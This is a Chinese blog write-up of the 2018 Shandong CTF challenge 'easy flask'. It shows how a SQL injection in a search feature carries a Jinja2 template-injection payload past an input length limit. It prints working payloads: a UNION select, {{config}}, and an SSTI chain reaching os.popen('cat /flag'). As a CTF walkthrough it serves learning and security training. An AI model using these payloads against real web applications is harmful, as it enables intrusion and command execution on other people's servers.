sql注入 & 服务端模板注入(SSTI)

在2018山东省省赛出现的一个ctf题目:easy flask

可以看到该页面提供了两个功能,一个是add,另一个是searcha/。
而题目是easy flask,自然想到flask/jinja2的SSTI。
在add处输入payload尝试一下。

1
2
username:boo
comment:{{config}}

然后search一下username,发现注入成功。

但是拿出payload深入测试时,却发现对username和commemnt的内容做了长度限制。

此处先放一放,继续测试下面的search功能。
发现存在sql注入。

1
payload1: ' union select 1,2,3 -- +

那么便可以利用sql注入,将ssti的payload显示到页面上,从而达到模板注入的效果。

最终的payload为:

1
2
3
-1' union select 1,2,"
{{''.__class__.__mro__[2].__subclasses__()
[59].__init__.func_globals.linecache.os.popen('cat /flag').read()}}" -- -

本文标题:sql注入 & 服务端模板注入(SSTI)

文章作者:boogle

发布时间:2018年11月21日 - 15:10

最后更新:2019年03月07日 - 11:38

原始链接:https://zhengbao.wang/sql注入-服务端模板注入(SSTI)/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗